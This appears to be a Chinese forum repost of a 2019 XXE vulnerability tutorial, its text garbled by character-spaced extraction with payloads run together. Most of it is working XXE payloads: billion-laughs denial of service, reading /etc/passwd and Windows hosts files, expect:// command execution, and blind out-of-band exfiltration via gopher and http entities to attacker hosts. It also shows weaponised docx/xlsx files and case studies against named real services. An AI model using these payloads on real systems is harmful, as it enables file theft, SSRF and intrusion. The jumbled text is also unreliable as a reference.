搜索

[18792] 2019-06-27_XXE漏洞

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2019-06-27_XXE漏洞 X X E 漏 洞 c r h u a   h u a s e c   2 0 1 9 - 0 6 - 2 7 0 1 — 攻 击 方 式 ( 1 ) 拒 绝 服 务 攻 击 若 解 析 过 程 非 常 缓 慢 ， 则 表 示 测 试 成 功 ， 目 标 站 点 可 能 有 拒 绝 服 务 漏 洞 ( 2 ) 文 件 读 取 ( 3 ) S S R F ( 4 ) r c e ( 5 ) b i n d   x x e 对 于 传 统 的 X X E 来 说 ， 要 求 攻 击 者 只 有 在 服 务 器 有 回 显 或 者 报 错 的 基 础 上 才 能 使 用 X X E 漏 洞 来 读 取 服 务 器 端 文 件 ， 如 果 没 有 回 显 则 可 以 使 用 B l i n d   X X E 漏 洞 来 构 建 一 条 带 外 信 道 提 取 数 据 。 测 试 b i n d   X X E 最 简 单 的 方 法 是 尝 试 加 载 远 程 资 源 ， 例 如 B u r p   C o l l a b o r a t o r 发 送   " / e t c / p a s s w d "   到 自 己 的 v p s 上 6 .   d o c x   x x e   制 作 工 具 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / w h i t e l 1 s t / d o c e m . g i t 7 . x l s x     x x e 制 作 新 建 一 个   x l s x   文 件 ， 然 后 执 行 < ! D O C T Y P E   d a t a   [ < ! E L E M E N T   d a t a   ( # A N Y ) > < ! E N T I T Y   a 0   " d o s "   > < ! E N T I T Y   a 1   " & a 0 ; & a 0 ; & a 0 ; & a 0 ; & a 0 ; " > < ! E N T I T Y   a 2   " & a 1 ; & a 1 ; & a 1 ; & a 1 ; & a 1 ; " > ] > < d a t a > & a 2 ; < / d a t a > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   d a t a   [ < ! E L E M E N T   d a t a   ( # A N Y ) > < ! E N T I T Y   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < d a t a > & f i l e ; < / d a t a > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / w w w . h u a s e c . c o m / r . t x t "   > ] > < f o o > & x x e ; < / f o o > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   G V I   [   < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   x x e   S Y S T E M   " e x p e c t : / / i d "   > ] > < c a t a l o g >       < c o r e   i d = " t e s t 1 0 1 " >             < d e s c r i p t i o n > & x x e ; < / d e s c r i p t i o n >       < / c o r e > < / c a t a l o g > < ? x m l   v e r s i o n = " 1 . 0 "   ? > < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   %   e x t   S Y S T E M   " h t t p : / / x x x x x x x x . b u r p c o l l a b o r a t o r . n e t / x " >   % e x t ; ] > < r > < / r > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y   > < ! E N T I T Y   %   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > < ! E N T I T Y   c a l l h o m e   S Y S T E M   " w w w . h u a s e c . c o m / ? % x x e ; " > ] > < f o o > & c a l l h o m e ; < / f o o > u n z i p   1 . x l s x
打 开   x l / w o r k b o o k . x m l   文 件 ， 在 第 2 行 和 第 3 行 写 入 以 下 内 容 然 后 将 其 压 缩 成 新 的 E x c e l 文 件 0 2 — 漏 洞 挖 掘 检 测 X M L 是 否 被 解 析 如 果 显 示 了 x x e   t e s t 证 明 支 持 ， 进 行 第 二 步 ， 是 否 支 持 外 部 实 体 < ! D O C T Y P E   x   [   < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / x x x x . b u r p c o l l a b o r a t o r . n e t / " >   ] > < x > & x x e ; < / x > z i p   - r   . . / p o c . x s l x   * < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [     < ! E N T I T Y   x x e   " x x e   t e s t " > ] > < r o o t > & x x e ; < / r o o t > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? >
观 察 自 己 的 服 务 器 上 得 a c c e s s . l o g ， 如 果 有 x x e . x m l 的 请 求 ， 证 明 可 以 加 载 外 部 实 体 。 然 后 判 断 是 否 有 回 显 ， 有 回 显 就 直 接 加 载 外 部 实 体 来 进 行 攻 击 ， 不 能 回 显 ， 则 使 用 B l i n d   X X E 攻 击 方 法 。 0 3 — 漏 洞 案 例 （ （ 1 ） 网 易 邮 箱 某 处 ） 网 易 邮 箱 某 处 X X E 可 读 取 文 件 可 读 取 文 件 网 易 邮 箱 支 持 网 盘 上 传 ， 上 传 d o c x 文 件 预 览 存 在 X X E 漏 洞 ， 先 解 压 d o c x 文 件 ， 修 改 w o r d / d o c u m e n t . x m l : 然 后 上 传 ( 2 ) 博 客 园 某 处 博 客 园 某 处 X X E 可 下 载 任 意 文 件 可 下 载 任 意 文 件 博 客 园 提 供 博 客 搬 家 的 功 能 ， 即 可 以 通 过 导 入 通 过 导 入 X M L 添 加 博 客 添 加 博 客 。 链 接 ： h t t p : / / i . c n b l o g s . c o m / I m p o r t . a s p x ? c a t i d = 1 p a y l o a d : 获 取 到 h o s t 文 件 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [     < ! E N T I T Y   %   x x e   S Y S T E M   " h t t p : / / w w w . h u a s e c . c o m / x x e . x m l " > % x x e ; ] > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   s t a n d a l o n e = " y e s " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / e t c / p a s s w d "   > ] > < w : d o c u m e n t   x m l n s : v e = " h t t p : / / s c h e m a s . o p e n x m l f o r m a t s . o r g / m a r k u p - c o m p a t i b i l i t y / 2 0 0 6 "   x m l n s : o = " u r n : s c h e m a s - m i c r o s o f t - c o m : o f f i c e : o f f i c e "   x m l n s : r = " h t t p : / / s c h e m a s . o p e n x m l f o r m a t s . o r g / o f f i c e D o c u m e n t / 2 0 0 6 / r e l a t i o n s h i p s " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 "   s t a n d a l o n e = " y e s " ? > < ! D O C T Y P E   n o t e   [ < ! E N T I T Y   t e s t   S Y S T E M   " f i l e : / / / C : / / W I N D O W S / S Y S T E M 3 2 / D R I V E R S / E T C / H O S T S " > ] > < r s s   v e r s i o n = " 2 . 0 "   x m l n s : d c = " h t t p : / / p u r l . o r g / d c / e l e m e n t s / 1 . 1 / "   x m l n s : t r a c k b a c k = " h t t p : / / m a d s k i l l s . c o m / p u b l i c / x m l / r s s / m o d u l e / t r a c k b a c k / "   x m l n s : w f w = " h t t p : / / w e l l f o r m e d w e b . o r g / C o m m e n t A P I / "     < c h a n n e l >         < t i t l e > 博 客 园 - 阔 爱 的 贝 贝 < / t i t l e >         < l i n k > h t t p : / / w w w . c n b l o g s . c o m / k u o a i d e b b / < / l i n k >         < d e s c r i p t i o n > 一 枚 想 当 黑 客 的 程 序 媛 < / d e s c r i p t i o n >         < l a n g u a g e > z h - c n < / l a n g u a g e >         < l a s t B u i l d D a t e > S u n ,   0 3   M a y   2 0 1 5   1 1 : 1 9 : 0 0   G M T < / l a s t B u i l d D a t e >         < p u b D a t e > S u n ,   0 3   M a y   2 0 1 5   1 1 : 1 9 : 0 0   G M T < / p u b D a t e >         < t t l > 6 0 < / t t l >         < i t e m >             < t i t l e > t e s t ] ] & g t ; & t e s t ; < / t i t l e >             < l i n k > h t t p : / / w w w . c n b l o g s . c o m / k u o a i d e b b / a r c h i v e / 2 0 1 5 / 0 5 / 0 3 / 4 4 7 4 5 0 0 . h t m l < / l i n k >             < d c : c r e a t o r > 阔 爱 的 贝 贝 < / d c : c r e a t o r >             < a u t h o r > 阔 爱 的 贝 贝 < / a u t h o r >             < p u b D a t e > S u n ,   0 3   M a y   2 0 1 5   1 1 : 1 3 : 0 0   G M T < / p u b D a t e >             < g u i d > h t t p : / / w w w . c n b l o g s . c o m / k u o a i d e b b / a r c h i v e / 2 0 1 5 / 0 5 / 0 3 / 4 4 7 4 5 0 0 . h t m l < / g u i d >             < d e s c r i p t i o n > < ! [ C D A T A [ < p > ] ] & g t ; < / p > ] ] > < / d e s c r i p t i o n >         < / i t e m >     < / c h a n n e l > < / r s s >
验 证 F 盘 是 否 存 在 ： ( 3 ) 锐 捷 网 络 某 分 站 存 在 锐 捷 网 络 某 分 站 存 在 B l i n d   X X E   漏 洞 漏 洞 问 题 网 站 ： h t t p : / / w e b c h a t . r u i j i e . c o m . c n / / l i v e 8 0 0 / s e r v i c e s / I V e r i f i c a t i o n ? w s d l 自 己 定 义 X M L 文 件 如 下 ：   将 x m l 文 件 保 存 在 v p s 中   为 h t t p : / / i p : p o r t / 1 . x m l 然 后 构 造 如 下 ： < ! E N T I T Y   %   a   S Y S T E M   " f i l e : / / / " >   < ! E N T I T Y   %   b   " < ! E N T I T Y   & # 3 7 ;   c   S Y S T E M   ' g o p h e r : / / i p : p o r t / % a ; ' > " >   % b ;   % c ; < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   r o o t   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / i p : p o r t / 1 . x m l " > % r e m o t e ; ] >
修 改 外 部 加 载 的 x m l 文 件 为 任 意 目 录 路 径   或 者 是 特 定 的 文 件 ， 以 读 取 / e t c / p a s s w d 为 例 ： ( 4 ) 鲜 果 网 鲜 果 网 R S S 导 入 导 入 B l i n d   X X E 漏 洞 漏 洞 一 般 的 X X E 漏 洞 测 试 流 程 ： 1 . 是 否 支 持 解 析 实 体 2 .   是 否 支 持 解 析 外 部 实 体   通 常 步 骤 是 先 看 能 否 解 析 实 体 然 后 看 看 能 否 引 用 外 部 实 体 （ 当 然 ， 如 果 修 补 方 案 是 过 滤 这 里 还 需 要 测 试 通 过 D O C T Y P E 引 入 D T D 的 情 况 ） 不 幸 的 是 此 路 不 通 ， 所 以 就 上 主 角 了 ： B l i n d   X X E 。 纯 B l i n d   X X E 的 核 心 就 是 参 数 实 体 了 ， 有 几 个 特 性 ： P O C : 导 入 的 时 候 ， 看 看 自 己 服 务 器 的 日 志 ， 有 访 问 ， 证 明 外 部 实 体 引 用 成 功 导 入 的 时 候 ， 看 看 自 己 服 务 器 的 日 志 ， 有 访 问 ， 证 明 外 部 实 体 引 用 成 功 。 剩 下 的 就 是 O O B 了 ， 看 了 下 是 P H P ， 可 惜 没 E x p e c t 扩 展 ， 直 接 使 用 p h p   w r a p p e r ， p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / e t c / p a s s w d   导 出 数 据 。 至 于 能 干 什 么 ， 就 看 S S R F 功 底 和 运 气 了 ， 这 里 就 读 取 / e t c / p a s s w d 。 导 入 P O C ： < ! E N T I T Y   %   a   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >   < ! E N T I T Y   %   b   " < ! E N T I T Y   & # 3 7 ;   c   S Y S T E M   ' g o p h e r : / / i p : p o r t / % a ; ' > " >   % b ;   % c < ! D O C T Y P E   n o t e   [ < ! E N T I T Y   t e s t     " i v a n _ t e s t " > ] > & t e s t ; < ! D O C T Y P E   n o t e   [ < ! E N T I T Y   t e s t   S Y S T E M   " h t t p : / / 1 v 4 n . s i n a a p p . c o m " > ] > & t e s t ; 通 过 % 引 用 只 能 在 D T D 内 部   立 即 即 引 用 实 体 嵌 套 < ! D O C T Y P E   r o o t   [   < ! E N T I T Y   %   r e m o t e   S Y S T E M     " h t t p : / / 1 v 4 n . s i n a a p p . c o m / x x x x x x x " >     % r e m o t e ;     ] >  
引 用 的 ： 1 v 4 n . s i n a a p p . c o m / x x e / e v i l _ p h p . x m l   代 码 如 下 p s : 以 上 四 个 案 例 ， 它 们 的 漏 洞 点 （ 文 件 上 传 、 x m l 解 析 ） 在 日 常 测 试 时 候 比 较 常 见 ， 还 有 就 是 看 请 求 参 数 是 不 是 x m l 格 式 。 参 考 资 料 ： h t t p s : / / s h u i m u g a n . c o m / < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   n o t e   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M     " h t t p : / / 1 v 4 n . s i n a a p p . c o m / x x e / e v i l _ p h p . x m l " >     % r e m o t e ;     ] > < o p m l   v e r s i o n = " 1 . 0 " >     < h e a d >         < t i t l e > s u b s c r i p t i o n s < / t i t l e >         < d a t e C r e a t e d > 2 0 1 4 - 0 7 - 0 9   1 1 : 3 4 : 0 9 < / d a t e C r e a t e d >         < o w n e r N a m e > < / o w n e r N a m e >     < / h e a d >     < b o d y >         < o u t l i n e   t e x t = " 应 用 邦 "               t i t l e = " 应 用 邦 "   t y p e = " r s s "             h t m l U r l = " h t t p : / / d e . a p p c h i n a . c o m "               x m l U r l = " h t t p : / / d e . a p p c h i n a . c o m / f e e d / "   / >         < o u t l i n e   t e x t = " e l l e 中 文 网 "               t i t l e = " e l l e 中 文 网 "   t y p e = " r s s "             h t m l U r l = " h t t p : / / w w w . e l l e c h i n a . c o m / ? s _ c i d = x i a n g u o l i f e "               x m l U r l = " h t t p : / / w w w . e l l e c h i n a . c o m / x m l / r s s / x i a n g u o _ l i f e _ r s s . x m l "   / >     < / b o d y > < / o p m l > < ! E N T I T Y   %   p a y l o a d     S Y S T E M       " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / e t c / p a s s w d " > < ! E N T I T Y   %   i n t   " < ! E N T I T Y   & # 3 7 ;   t r i c k   S Y S T E M   ' h t t p : / / 1 v 4 n . s i n a a p p . c o m / ? x x e _ l o c a l = % p a y l o a d ; ' > " > % i n t ; % t r i c k ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理